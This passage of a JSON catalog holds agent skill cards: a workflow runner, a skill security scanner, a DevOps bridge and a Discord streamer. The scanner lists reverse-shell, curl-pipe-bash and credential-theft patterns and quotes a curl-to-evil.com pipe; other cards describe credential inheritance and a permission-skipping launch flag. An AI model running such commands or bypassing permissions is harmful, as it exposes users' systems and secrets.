vulnerabilities\"\n\n# Fix a bug\nnode soulflow.js run bug-fix \"Login returns 500 when email has uppercase letters in ~/myapp\"\n\n# Build a feature\nnode soulflow.js run feature-dev \"Add dark mode toggle to the settings page in ~/myapp\"\n```\n\n## How It Works\n\nSoulFlow connects to your local OpenClaw gateway via WebSocket and runs each workflow step as an isolated agent session. A dedicated `soulflow-worker` agent is auto-created with minimal context \u2014 no memory bleed from your main agent.\n\nEach step:\n1. Gets a fresh session (no context bloat)\n2. Receives the task + output from previous steps\n3. Has full tool access (read, write, edit, exec, browser)\n4. Must complete its work and report results\n\n**Auto-notifications (v1.1.0+):** When workflows complete, SoulFlow automatically notifies the main agent session with results. No need to manually check status.\n\n## Example Workflows (Included)\n\n**These are examples to show what's possible. Build your own for any domain.**\n\n### security-audit\n**Scan \u2192 Prioritize \u2192 Fix \u2192 Verify**\nDevelopment example: Reads your source files, identifies vulnerabilities by severity, applies fixes, then verifies them.\n\n### bug-fix\n**Triage \u2192 Fix \u2192 Verify**\nDevelopment example: Investigates the root cause by reading code, applies the fix, then verifies it didn't introduce regressions.\n\n### feature-dev\n**Plan \u2192 Implement \u2192 Review**\nDevelopment example: Architects the implementation plan, writes the code, then reviews for quality and correctness.\n\n**Want content workflows? Research pipelines? Deploy automation?** Create your own `.workflow.json` \u2014 see Custom Workflows below.\n\n## Commands\n\n```bash\nnode soulflow.js run <workflow> \"<task>\" # Run a workflow\nnode soulflow.js list # List available workflows\nnode soulflow.js runs # List past runs\nnode soulflow.js status [run-id] # Check run status\nnode soulflow.js test # Test gateway connection\n```\n\n## Natural Language (via your agent)\n\n**The agent knows how to invoke SoulFlow for you.** Just describe what you want:\n\n**Security audits:**\n- \"Audit my app for security issues\"\n- \"Check ~/myapp for vulnerabilities\"\n- \"Scan the codebase for security problems\"\n\n**Bug fixes:**\n- \"Fix this bug: login fails when...\"\n- \"There's a problem with the payment flow\"\n- \"Users are seeing 500 errors when they...\"\n\n**Features:**\n- \"Build a referral system\"\n- \"Add dark mode to the settings page\"\n- \"Implement OAuth login with Google\"\n\n**How it works:**\n1. You tell your agent what you need\n2. Your agent reads this SKILL.md\n3. Agent invokes `node soulflow.js run <workflow> \"<task>\"`\n4. SoulFlow runs the workflow and reports back\n\n**Pattern matching:** The agent matches your message to workflows:\n- Security audit \u2192 keywords: \"audit\", \"security\", \"scan\", \"vulnerabilit\"\n- Bug fix \u2192 keywords: \"fix\", \"bug\", \"broken\", \"not working\", \"error\"\n- Feature dev \u2192 keywords: \"build\", \"add\", \"implement\", \"create\", \"feature\"\n\n**No workflow matches?** Agent will ask which workflow you want or suggest creating a custom one.\n\n## Custom Workflows\n\n**You can create workflows for ANY task.** Define them in JSON and place in the `workflows/` directory.\n\n### Creating via Chat\n\nTell your agent:\n> \"Create a SoulFlow workflow for [your use case]\"\n\nExamples:\n- \"Create a workflow for content publishing: research topic \u2192 draft article \u2192 edit \u2192 publish to blog\"\n- \"Create a workflow for deployment: run tests \u2192 build \u2192 deploy \u2192 verify health checks \u2192 rollback if failed\"\n- \"Create a workflow for weekly reports: gather metrics \u2192 analyze trends \u2192 generate summary \u2192 send email\"\n\nYour agent will:\n1. Design the workflow steps\n2. Write the `.workflow.json` file to `workflows/`\n3. Show you how to run it\n\n### Manual Creation\n\nCreate a `.workflow.json` file in the `workflows/` directory:\n\n```json\n{\n \"id\": \"my-workflow\",\n \"name\": \"My Custom Workflow\",\n \"version\": 1,\n \"description\": \"What this workflow does\",\n \"steps\": [\n {\n \"id\": \"step1\",\n \"name\": \"First Step\",\n \"input\": \"Do this thing: {{task}}\",\n \"expects\": \"STATUS: done\",\n \"maxRetries\": 1\n },\n {\n \"id\": \"step2\",\n \"name\": \"Second Step\",\n \"input\": \"Now do this based on step 1:\\n\\n{{step1_output}}\\n\\nOriginal task: {{task}}\",\n \"expects\": \"STATUS: done\",\n \"maxRetries\": 1\n }\n ]\n}\n```\n\n### Variables\n\n- `{{task}}` \u2014 The user's original task description\n- `{{stepid_output}}` \u2014 Full output from a previous step (e.g. `{{scan_output}}`)\n- Any `KEY: value` lines in step output become variables (e.g. `ROOT_CAUSE: ...` \u2192 `{{root_cause}}`)\n\n### Prompt Tips\n\nFor best results, write prompts that:\n- Explicitly tell the agent to use tools: \"Use `read` to examine the file\", \"Use `edit` to apply the fix\"\n- Say \"Do NOT just describe \u2014 actually do it\"\n- End with \"When done, end with: STATUS: done\"\n\n## Architecture\n\n- **Zero dependencies** \u2014 Pure Node.js 22 (native WebSocket)\n- **Gateway-native** \u2014 Connects via WebSocket with challenge-response auth\n- **Session isolation** \u2014 Each step in a fresh session\n- **Dedicated worker** \u2014 Auto-creates `soulflow-worker` agent with minimal brain files\n- **JSON state** \u2014 Run history saved to `~/.openclaw/workspace/.soulflow/runs/`\n- **10-minute timeout** per step (configurable)\n\n## Requirements\n\n- OpenClaw 2026.2.x or later\n- Node.js 22+ (for native WebSocket)\n- Gateway with token auth configured\n\n## Security & Permissions\n\n**What SoulFlow does to your OpenClaw instance:**\n\n1. **Reads your gateway config** (`~/.openclaw/openclaw.json`) to obtain the authentication token needed to connect via WebSocket\n2. **Modifies your gateway config** (`~/.openclaw/openclaw.json`) via `config.patch` to register the soulflow-worker agent\n3. **Creates a dedicated worker agent** (`soulflow-worker`) with minimal brain files (SOUL.md only, no memory/history)\n4. **Copies authProfiles from existing agents** \u2014 Worker inherits credentials for external services (GitHub, cloud providers, etc.) that your other agents use\n5. **Grants the worker full tool access** (read, write, edit, exec, browser) \u2014 this is required for workflows to actually perform tasks\n6. **Writes run state** to `~/.openclaw/workspace/.soulflow/runs/` as JSON files\n\n**Why these permissions are needed:**\n- **Config read/write**: Required to authenticate with the gateway and register the worker agent (same as `openclaw` CLI tool)\n- **Agent creation**: Each workflow step runs in an isolated session to prevent context bleed\n- **authProfiles inheritance**: Allows workflows to interact with external services (e.g., git push, cloud API calls) using your existing credentials\n- **Full tools**: Workflows need real capabilities (e.g., security-audit reads files, bug-fix edits code, deploy-pipeline pushes to git)\n- **Filesystem write**: Stores workflow history and allows workflows to create/modify files\n\n**Security considerations:**\n- Worker agent has NO access to your main agent's memory or history\n- Worker DOES inherit your external service credentials (authProfiles) \u2014 can access GitHub, cloud APIs, etc.\n- Workflows run with YOUR permissions (same as running commands yourself)\n- Malicious workflows could read/modify files, run commands, or access external services\n- **Only install SoulFlow if you trust the skill author** (review code on GitHub first)\n- **Only run workflows you trust** \u2014 custom workflows from untrusted sources could exfiltrate data or misuse credentials\n- Run SoulFlow in isolated/sandboxed environments if processing untrusted workflows\n\n**Recommended practices:**\n- Review built-in workflows before first use (especially security-audit and bug-fix)\n- Inspect custom `.workflow.json` files before running\n- Review GitHub repo (https://github.com/0xtommythomas-dev/soulflow) before installation\n- Run on non-production OpenClaw instances when testing new workflows\n- Back up important files before running workflows that modify code\n- Use BYOK (bring your own keys) mode if you want isolated credentials per workflow\n- Monitor `~/.openclaw/workspace/.soulflow/runs/` for workflow execution logs\n\n---\n\n## For Agents: How to Invoke SoulFlow\n\nWhen the user requests a workflow (security audit, bug fix, feature build, etc.), you should:\n\n1. **Identify the workflow** by matching keywords:\n - Security audit: \"audit\", \"security\", \"scan\", \"vulnerabilit\"\n - Bug fix: \"fix\", \"bug\", \"broken\", \"not working\", \"error\"\n - Feature dev: \"build\", \"add\", \"implement\", \"create\", \"feature\"\n - Custom: check `workflows/*.workflow.json` for other options\n\n2. **Extract the task description** \u2014 the user's description of what they want done\n\n3. **Invoke SoulFlow** using exec:\n ```bash\n cd /root/.openclaw/workspace/soulflow && node soulflow.js run <workflow> \"<task>\"\n ```\n\n4. **Monitor the run** \u2014 SoulFlow will output the run ID, then show progress as each step completes\n\n5. **Report results** \u2014 When complete, relay the final status to the user\n\n**Example:**\n```\nUser: \"Run a security audit on ~/myapp\"\nYou: [exec] cd /root/.openclaw/workspace/soulflow && node soulflow.js run security-audit \"Audit ~/myapp for vulnerabilities\"\n```\n\n**Creating workflows for users:**\nIf the user asks you to create a custom workflow:\n1. Design the workflow steps based on their requirements\n2. Write a `.workflow.json` file to `/root/.openclaw/workspace/soulflow/workflows/`\n3. Show them how to run it\n\nSee CONTRIBUTING.md for workflow design best practices.\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/0xtommythomas-dev/soulflow/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/0xtommythomas-dev/soulflow/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/0xtommythomas-dev/soulflow/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/0xtommythomas-dev/soulflow/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/0xtommythomas-dev/soulflow/SKILL.md", "importedAt": "2026-02-18T19:24:20.704Z"}}}}, {"slug": "clawhub-clawhub-skill-scanner", "name": "Skill Security Audit", "category": "Security", "description": "MANDATORY security check before installing external skills.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Skill Security Audit", "slug": "clawhub-clawhub-skill-scanner", "version": "1.0.0", "description": "--- name: clawhub-skill-scanner description: > Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub, GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks. Triggers: \"install skill\", \"clawhub install\", \"new skill\", \"add skill\", \"skill from\". Always run this BEFORE installation.", "documentation_md": "---\nname: clawhub-skill-scanner\ndescription: >\n Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub,\n GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential\n access, data exfiltration, command injection, and other security risks. Triggers: \"install skill\",\n \"clawhub install\", \"new skill\", \"add skill\", \"skill from\". Always run this BEFORE installation.\n\n---\n\n# Skill Security Audit\n\n**MANDATORY** security check before installing external skills.\n\nInspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.\n\n## When to Use\n\nRun this audit **BEFORE** any skill installation:\n- `clawhub install <skill>`\n- Manual skill download/copy\n- Skills from GitHub, URLs, or untrusted sources\n\n## Quick Start\n\n```bash\n# Scan a skill folder\npython3 scripts/scan_skill.py /path/to/skill\n\n# JSON output for automation\npython3 scripts/scan_skill.py /path/to/skill --json\n\n# Exit code 0 only if SAFE\npython3 scripts/scan_skill.py /path/to/skill --install-if-safe\n```\n\n## What It Detects\n\n### \ud83d\udd34 CRITICAL (Blocks Installation)\n\n| Category | Patterns |\n|----------|----------|\n| **Reverse Shells** | `nc -e`, `bash /dev/tcp`, Python socket shells |\n| **Curl-Pipe-Bash** | `curl \\| bash`, `wget && chmod +x` |\n| **Credential Access** | ~/.ssh, ~/.aws, ~/.openclaw, .env files |\n| **Data Exfiltration** | Discord/Slack webhooks, POST with secrets |\n| **Malicious Domains** | glot.io, pastebin (known malware hosts) |\n| **Persistence** | crontab, systemd, LaunchAgents, .bashrc |\n| **Command Injection** | eval(), exec(), subprocess shell=True |\n| **Obfuscation** | base64 decode pipes, pickle, marshal |\n\n### \ud83d\udfe1 WARNING (Review Required)\n\nOnly patterns that are suspicious regardless of skill type:\n- Raw socket usage (unusual for most skills)\n- Dynamic code compilation\n- File/directory deletion\n- Screenshot/keyboard capture libraries\n- Low-level system calls (ctypes)\n\n### Philosophy\n\nWe intentionally **don't warn** on common patterns like:\n- HTTP requests (normal for API skills)\n- API key references (normal for integration skills)\n- File writes (normal for data skills)\n- Environment variable access (normal for config)\n\nThis reduces noise so real threats stand out.\n\n## Risk Scoring\n\n```\nCRITICAL findings \u00d7 30 = Base score\nWARNING findings \u00d7 3 (capped at 10) = Warning contribution\n```\n\n| Score | Level | Action |\n|-------|-------|--------|\n| 0-20 | \ud83d\udfe2 SAFE | Auto-approve |\n| 21-50 | \ud83d\udfe1 CAUTION | Review findings |\n| 51-80 | \ud83d\udd36 DANGER | Detailed review required |\n| 81-100 | \ud83d\udd34 BLOCKED | Do NOT install |\n\n## Sample Output\n\n```\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n SKILL SECURITY AUDIT: suspicious-skill\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n\ud83d\udcca RISK SCORE: 90/100 - \ud83d\udd34 BLOCKED\n\n\ud83d\udd34 CRITICAL FINDINGS (3)\n [install.py:15] Curl pipe to shell (DANGEROUS!)\n Code: os.system('curl https://evil.com/x.sh | bash')\n [setup.py:42] Discord webhook exfiltration\n Code: requests.post('https://discord.com/api/webhooks/...')\n [run.py:8] ClawdBot .env access (ClawHavoc target!)\n Code: open(os.path.expanduser('~/.clawdbot/.env'))\n\n\ud83d\udcc1 FILES SCANNED: 5\n\ud83d\udccf TOTAL LINES: 230\n\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n \ud83d\udd34 BLOCK - Do NOT install this skill\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n```\n\n## Integration with clawhub\n\nCreate a wrapper script to auto-scan before installation:\n\n```bash\n#!/bin/bash\n# clawhub-secure: Scan before install\n\nSKILL=\"$2\"\nTEMP=\"/tmp/skill-audit-$$\"\n\n# Fetch without installing\nclawhub inspect \"$SKILL\" --out \"$TEMP\"\n\n# Scan\npython3 /path/to/scan_skill.py \"$TEMP\" --install-if-safe\nif [ $? -eq 0 ]; then\n clawhub install \"$SKILL\"\nelse\n echo \"\ud83d\udd34 Installation blocked by security scan\"\n exit 1\nfi\n\nrm -rf \"$TEMP\"\n```\n\n## References\n\nSee `references/threat-patterns.md` for detailed pattern explanations.\n\n## Credits\n\nDeveloped in response to the ClawHavoc campaign (Feb 2026) that demonstrated\nlarge-scale supply chain attacks via AI agent skill marketplaces.\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/amir-ag/clawhub-skill-scanner/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/amir-ag/clawhub-skill-scanner/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/amir-ag/clawhub-skill-scanner/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/amir-ag/clawhub-skill-scanner/SKILL.md", "commit": "dff1d5eb06"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/amir-ag/clawhub-skill-scanner/SKILL.md", "importedAt": "2026-02-18T19:26:30.622Z"}}}}, {"slug": "clawhub-devops-bridge", "name": "DevOps Bridge", "category": "Bridge", "description": "The missing link between your dev tools. This skill connects GitHub, CI/CD, Slack/Discord, and issue trackers into workflows that actually make sen...", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "DevOps Bridge", "slug": "clawhub-devops-bridge", "version": "1.0.0", "description": "--- name: devops-bridge description: > Unified developer operations bridge connecting GitHub, CI/CD (GitHub Actions), Slack, Discord, and issue trackers (Linear, Jira, GitHub Issues) into cross-tool automated workflows. Sends context-rich CI failure notifications to Slack with failing test details, tracks PR review lifecycle with escalating reminders, generates daily dev standup summaries, syncs issue status when PRs are merged, detects flaky tests, and monitors repository health. Use this skill for: PR review reminders, CI build alerts, \"what happened in my repos\", \"any failing builds\", \"who needs a review\", dev team standup summary, deploy notifications, repository monitoring, connecting GitHub to Slack, linking PRs to Jira/Linear tickets, code review tracking, merge conflict alerts, or any request to bridge development tools together. If the user mentions GitHub AND Slack (or any two dev tools) together, this skill connects them. metadata: openclaw: emoji: \"\ud83d\udd27\" ---", "documentation_md": "---\nname: devops-bridge\ndescription: >\n Unified developer operations bridge connecting GitHub, CI/CD (GitHub Actions), Slack, Discord, and\n issue trackers (Linear, Jira, GitHub Issues) into cross-tool automated workflows. Sends context-rich\n CI failure notifications to Slack with failing test details, tracks PR review lifecycle with escalating\n reminders, generates daily dev standup summaries, syncs issue status when PRs are merged, detects\n flaky tests, and monitors repository health. Use this skill for: PR review reminders, CI build alerts,\n \"what happened in my repos\", \"any failing builds\", \"who needs a review\", dev team standup summary,\n deploy notifications, repository monitoring, connecting GitHub to Slack, linking PRs to Jira/Linear\n tickets, code review tracking, merge conflict alerts, or any request to bridge development tools\n together. If the user mentions GitHub AND Slack (or any two dev tools) together, this skill connects them.\nmetadata:\n openclaw:\n emoji: \"\ud83d\udd27\"\n---\n\n# DevOps Bridge\n\nThe missing link between your dev tools. This skill connects GitHub, CI/CD, Slack/Discord, and issue trackers into workflows that actually make sense \u2014 so you stop context-switching between 6 browser tabs.\n\n## Why This Exists\n\nDevelopers already use separate skills for GitHub, Slack, etc. But nobody has built the bridge: when CI fails, automatically link it to the PR, notify the right Slack channel, and update the ticket. This skill is that bridge.\n\n## Core Capabilities\n\n### 1. Smart Notifications\n\nTransform noisy GitHub events into actionable, context-rich messages. Instead of \"Build failed\", deliver:\n\n```\n\ud83d\udd34 CI Failed \u2014 PR #142 \"Add OAuth flow\" by @alice\n \u2514\u2500 Test: auth.test.ts:47 \u2014 Expected 200, got 401\n \u2514\u2500 Last passing commit: abc1234 (2 hours ago) \n \u2514\u2500 Linked issue: LINEAR-389 \"Implement SSO\"\n \u2514\u2500 Action: Reply \"fix\" to see the failing test, \"logs\" for full output\n```\n\nWhen sending notifications, always:\n- Include the PR title and author, not just the number\n- Link to the specific failing test or check, not just \"CI failed\"\n- Mention the last known good commit for quick bisect context\n- Cross-reference related issues/tickets if they exist\n- Suggest a concrete next action\n\n### 2. PR Review Management\n\nTrack pull request lifecycle across tools:\n\n**Review reminders:**\n- Scan open PRs daily and flag those waiting for review\n- Escalate based on age: gentle reminder at 24h, stronger at 48h, urgent at 72h+\n- Send reminders to the assigned reviewer via Slack/Discord DM or channel\n- Format:\n ```\n \ud83d\udc40 Review needed:\n \u2022 PR #142 \"Add OAuth flow\" \u2014 waiting 3 days (assigned: @bob)\n \u2022 PR #156 \"Fix pagination\" \u2014 waiting 1 day (assigned: @carol)\n ```\n\n**Review status sync:**\n- When a PR gets approved on GitHub, post to the team channel\n- When changes are requested, notify the author directly\n- When all checks pass + approved, prompt: \"Ready to merge \u2014 want me to merge it?\"\n\n### 3. CI/CD Intelligence\n\nGo beyond \"pass/fail\" with intelligent CI analysis:\n\n- **Failure grouping**: if multiple PRs fail on the same test, flag it as a systemic issue rather than spamming individual notifications\n- **Flaky test detection**: if a test fails intermittently across PRs, note it: \"This test has failed 3 times this week across different PRs \u2014 likely flaky\"\n- **Duration tracking**: \"This build took 45 min, up from the usual 20 min \u2014 something may be wrong\"\n- **Auto-retry suggestion**: for known flaky failures, suggest or trigger a re-run\n\n### 4. Issue Tracker Sync\n\nKeep issue trackers (Linear, Jira, GitHub Issues) in sync with actual development activity:\n\n- When a PR references an issue (e.g., \"Fixes #123\"), update the issue status automatically\n- When a PR is merged, move the linked issue to \"Done\" or \"In Review\"\n- When CI fails on a PR linked to an issue, add a comment to the issue noting the blocker\n- Surface orphaned PRs: \"PR #167 doesn't reference any issue \u2014 should it?\"\n\n### 5. Daily Dev Standup\n\nGenerate a team-level development summary on demand or via cron:\n\n```\n\ud83e\uddd1\u200d\ud83d\udcbb Dev Standup \u2014 [Date]\n\nMerged yesterday:\n \u2022 PR #140 \"Refactor auth module\" by @alice \u2192 LINEAR-385 closed\n \u2022 PR #143 \"Update deps\" by @bob\n\nIn review:\n \u2022 PR #142 \"Add OAuth flow\" by @alice \u2014 2 approvals, CI passing \u2705\n \u2022 PR #156 \"Fix pagination\" by @carol \u2014 changes requested by @bob\n\nBlocked:\n \u2022 PR #158 \"Migrate DB\" by @dave \u2014 CI failing (migration timeout)\n \u2022 Issue LINEAR-402 \u2014 no assignee, due tomorrow\n\nCI Health: 87% pass rate (down from 94% last week)\n \u2514\u2500 Flaky: auth.test.ts (failed 4/10 runs)\n```\n\n## Configuration\n\n### Required Tools\n- `gh` CLI (GitHub) \u2014 for repo activity, PRs, issues, CI status\n- At least one messaging channel configured (Slack, Discord, Telegram)\n\n### Optional Tools\n- Linear CLI or API \u2014 for Linear issue tracking\n- Jira API \u2014 for Jira integration \n- GitHub Issues \u2014 works out of the box with `gh`\n\n### Setup Flow\n\nOn first use, gather configuration interactively:\n\n1. **Which repos to monitor?** Ask for a list or use \"all repos I have push access to\"\n2. **Where to send notifications?** Slack channel, Discord channel, Telegram, or all\n3. **How aggressive should reminders be?** Options: gentle (72h), moderate (48h), aggressive (24h)\n4. **Include CI details?** Some users want full logs, others just pass/fail\n5. **Who's on the team?** Map GitHub usernames to Slack/Discord handles for @mentions\n\nStore configuration in workspace memory for persistence.\n\n### Cron Setup\n\nSuggest these default schedules (user can customize):\n\n```json\n[\n {\n \"name\": \"Morning dev digest\",\n \"schedule\": \"0 9 * * 1-5\",\n \"prompt\": \"Generate dev standup summary for my repos\"\n },\n {\n \"name\": \"PR review reminder\", \n \"schedule\": \"0 14 * * 1-5\",\n \"prompt\": \"Check for PRs waiting for review and send reminders\"\n },\n {\n \"name\": \"End of day CI report\",\n \"schedule\": \"0 17 * * 1-5\",\n \"prompt\": \"Summarize today's CI/CD activity and flag any issues\"\n }\n]\n```\n\n## Command Reference\n\nUsers can trigger specific actions with natural language:\n\n| User says | Action |\n|-----------|--------|\n| \"What's happening in my repos?\" | Full activity summary across all monitored repos |\n| \"Any failing builds?\" | CI status check with details on failures |\n| \"Who needs a review?\" | List PRs awaiting review with age and assignee |\n| \"Standup\" | Generate daily dev standup summary |\n| \"Notify #dev-team about PR 142\" | Send a formatted notification about a specific PR |\n| \"Link PR 142 to LINEAR-389\" | Create cross-reference between PR and issue |\n| \"Set up CI alerts for repo X\" | Configure monitoring for a specific repository |\n| \"Merge PR 142\" | Merge if all checks pass and approved; warn if not |\n\n## Edge Cases\n\n- **Monorepo**: if monitoring a monorepo, group notifications by directory/team, not just by PR\n- **Forks**: when PRs come from forks, note this clearly (different trust level)\n- **Draft PRs**: don't send review reminders for draft PRs unless user asks\n- **Stale PRs**: if a PR has been open >7 days with no activity, suggest closing or rebasing\n- **Rate limits**: GitHub API has rate limits. Batch requests and cache results within a session\n- **No messaging configured**: if no Slack/Discord/Telegram, output to the current conversation instead\n- **Multiple orgs**: if user has repos across multiple GitHub orgs, handle them all but label clearly\n\n## Integration Pattern\n\nThis skill works best with other installed skills. When detected:\n- **github skill**: defer raw GitHub operations to it, use devops-bridge for cross-tool logic\n- **slack skill**: use it for message delivery, devops-bridge composes the messages\n- **daily-briefing-hub**: feed dev activity data into the morning briefing's \"Dev Activity\" section\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/ariktulcha/devops-bridge/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/ariktulcha/devops-bridge/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/ariktulcha/devops-bridge/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/ariktulcha/devops-bridge/SKILL.md", "commit": "dff1d5eb06"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/ariktulcha/devops-bridge/SKILL.md", "importedAt": "2026-02-18T19:26:30.786Z"}}}}, {"slug": "clawhub-codecast", "name": "Codecast", "category": "Bridge", "description": "Live-stream coding agent sessions to Discord. Zero AI tokens burned.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Codecast", "slug": "clawhub-codecast", "version": "1.0.0", "description": "--- version: 4.1.0 name: codecast description: Stream coding agent sessions (Claude Code, Codex, Gemini CLI, etc.) to a Discord channel in real-time via webhook. Use when invoking coding agents and wanting transparent, observable dev sessions \u2014 no black box. Parses Claude Code's stream-json output into clean formatted Discord messages showing tool calls, file writes, bash commands, and results with zero AI token burn. Use when asked to \"stream to Discord\", \"relay agent output\", or \"make dev sessions visible\". metadata: {\"openclaw\":{\"emoji\":\"\ud83c\udfac\",\"requires\":{\"anyBins\":[\"unbuffer\",\"python3\"]}}} ---", "documentation_md": "---\nversion: 4.1.0\nname: codecast\ndescription: Stream coding agent sessions (Claude Code, Codex, Gemini CLI, etc.) to a Discord channel in real-time via webhook. Use when invoking coding agents and wanting transparent, observable dev sessions \u2014 no black box. Parses Claude Code's stream-json output into clean formatted Discord messages showing tool calls, file writes, bash commands, and results with zero AI token burn. Use when asked to \"stream to Discord\", \"relay agent output\", or \"make dev sessions visible\".\nmetadata: {\"openclaw\":{\"emoji\":\"\ud83c\udfac\",\"requires\":{\"anyBins\":[\"unbuffer\",\"python3\"]}}}\n---\n\n# Codecast\n\nLive-stream coding agent sessions to Discord. Zero AI tokens burned.\n\n## Setup\n\nFirst-time setup: see [references/setup.md](references/setup.md) for webhook creation, unbuffer install, bot token, and smoke test.\n\n## Invocation\n\nLaunch with `exec background:true`. Background exec sessions survive agent turns and OpenClaw fires `notifyOnExit` automatically when the process ends.\n\n```bash\nexec background:true command:\"{baseDir}/scripts/dev-relay.sh -w ~/projects/myapp -- claude -p --dangerously-skip-permissions --output-format stream-json --verbose 'Your task here'\"\n```\n\nNote the session ID from the response \u2014 use it to monitor via `process`.\n\n### Options\n\n| Flag | Description | Default |\n|------|------------|---------|\n| `-w <dir>` | Working directory | Current dir |\n| `-t <sec>` | Timeout | 1800 |\n| `-h <sec>` | Hang threshold | 120 |\n| `-n <name>` | Agent display name | Auto-detected |\n| `-r <n>` | Rate limit (posts/60s) | 25 |\n| `--thread` | Post into a Discord thread | Off |\n| `--skip-reads` | Hide Read tool events | Off |\n| `--review <url>` | PR review mode | \u2014 |\n| `--parallel <file>` | Parallel tasks mode | \u2014 |\n| `--resume <dir>` | Replay session | \u2014 |\n\nFor PR review, parallel tasks, Discord bridge, and Codex structured output: see [references/advanced-modes.md](references/advanced-modes.md).\n\n## Agent Launch Checklist\n\n1. **Start background session** \u2192 note session ID and PID from response\n2. **Post to dev channel** \u2192 announce agent name, workdir, task\n3. **Write breadcrumb** for completion routing:\n ```bash\n echo '{\"channel\":\"<invoking-channel-id>\",\"relayDir\":\"<relay-dir>\",\"pid\":<PID>}' > /tmp/codecast-pending-<PID>.json\n ```\n4. **Log to daily memory** \u2192 session ID, relay dir, invoking channel\n\nThe breadcrumb file tells the heartbeat precheck where to post results when the session completes. It auto-detects completion by checking if the PID is still alive.\n\nThat's it. When the process ends, OpenClaw's `notifyOnExit` fires a system event + heartbeat request. The heartbeat handler reads the result from the relay dir's `stream.jsonl` and posts to the invoking channel.\n\n## Completion Detection\n\nOpenClaw handles this natively:\n- `tools.exec.notifyOnExit: true` (default) \u2014 system event + heartbeat on process exit\n- Heartbeat precheck script detects completed sessions via `/tmp/dev-relay-sessions/`\n- No cron watcher needed\n\n**Backup:** Append this to the inner agent's prompt for an additional signal:\n```\nWhen completely finished, run: openclaw system event --text \"Done: <brief summary>\" --mode now\n```\n\n## Monitoring\n\n```\nprocess poll sessionId:<id> # Check status\nprocess log sessionId:<id> # View recent output\nprocess kill sessionId:<id> # Stop session\n```\n\n## Agent Support\n\n| Agent | Output Mode | Status |\n|-------|------------|--------|\n| Claude Code | stream-json | Full support |\n| Codex | --json JSONL | Full support |\n| Any CLI | Raw ANSI | Basic support |\n\n## Session Tracking\n\n- **Active sessions:** `/tmp/dev-relay-sessions/<PID>.json` (auto-removed on end)\n- **Event logs:** `/tmp/dev-relay.XXXXXX/stream.jsonl` (7-day auto-cleanup)\n- **Interactive input:** 